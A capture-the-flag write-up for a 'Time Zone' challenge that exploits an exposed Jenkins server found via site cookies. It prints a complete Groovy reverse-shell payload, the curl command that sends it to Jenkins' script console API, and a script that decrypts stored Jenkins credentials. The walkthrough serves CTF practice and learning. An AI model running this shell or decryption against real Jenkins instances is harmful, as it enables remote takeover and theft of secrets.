Time Zone Writeup


Looks like a fancy watch store, god knows what else they’re selling!


Accessing the URL gives you an ecommerce frontend. By analysing and running tools against the URL you may not find anything useful. Let’s fire up the browser inspection panel and look if the site has any cookies.


We can see that there’s a path and u values. So try appending the path to the URL and let’s see what happens!


Aha! A Jenkins server is running along with the watch store. And an additional cookie too ‘t’.

If you have some basic knowledge of Jenkins, you may already know that in most cases the admin username is kept as ‘admin’(makes sense with the ‘u’ cookie, by ‘u’ the creator meant username). Now what is ‘t’, definitely it’s not the password, because trying to login with the admin and the t value throws you an error. Well Jenkins can also be configured with access tokens mapped for users. So ‘t’ is an access token!.

To verify lets curl the URL with the credentials.

curl https://admin:11ca5b0c33332ab65473720bfb253e3e8a@timezone.domectf.in/jenkins/


You can see a lot of CVE’s listed over there!

So now you know it’s a vulnerable Jenkins instance, and there’s RCE possibilities. Furthermore, try grepping the domectf for clues.


Yes! There is a Jenkins job named domectf.

After analysing the RCE’s, now you know that there’s a sandbox escape vulnerability. So you can drop a shell.

Now how do you drop a shell?

If you’re familiar with Jenkins, you know there’s a groovy script console to execute groovy commands for debugging. We can leverage the script console to drop our shell and gain access to the Jenkins machine. So how do we access the script console without GUI? Jenkins is generous and you can access it via API.

So we create a groovy reverse shell and send it via API.

Here’s the groovy shell:

        String host="<IP>";
        int port=<port>;
        String cmd="bash";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();


Now run it via curl: ` curl –data-urlencode “script=$(< ./shell.groovy)” https://admin:11ca5b0c33332ab65473720bfb253e3e8a@timezone.domectf.in/jenkins/scriptText`


Boom! We got the shell access!

Default jenkins working directory is /var/lib/jenkins

To view the Jenkins job specifications you need to view the /var/lib/jenkins/jobs/job-name/config.xml file. In our case here the job name is domectf. Let’s check the file.


As you see there’s a flag variable referenced from CredentialsId. Jenkins uses its credential storage to encrypt and store secrets securely. And the key used to encrypt the secrets is also stored in the Jenkins workspace.

First, let’s find out the credential. Jenkins credentials are stored at /var/lib/jenkins/credentials.xml. Let’s see what’s in there.


Yeah there’s the secret. Now all we have to do is decrypt the Jenkins secret. For this you have numerous ways, you can pull the encryption secrets from Jenkins or via the script console again.

Here is the groovy script to decrypt a Jenkins secret from script console.

        println(hudson.util.Secret.fromString("<secret goes here>").getPlainText())


Execute the script via curl

        println(hudson.util.Secret.fromString("<secret goes here>").getPlainText())


curl --data-urlencode "script=$(< ./decrypt.groovy)" https://admin:11ca5b0c33332ab65473720bfb253e3e8a@timezone.domectf.in/jenkins/scriptText

Here is the groovy script to decrypt a Jenkins secret from script console.


That’s it! There’s your flag!

Anees P K
DevSecOps Engineer
Related Articles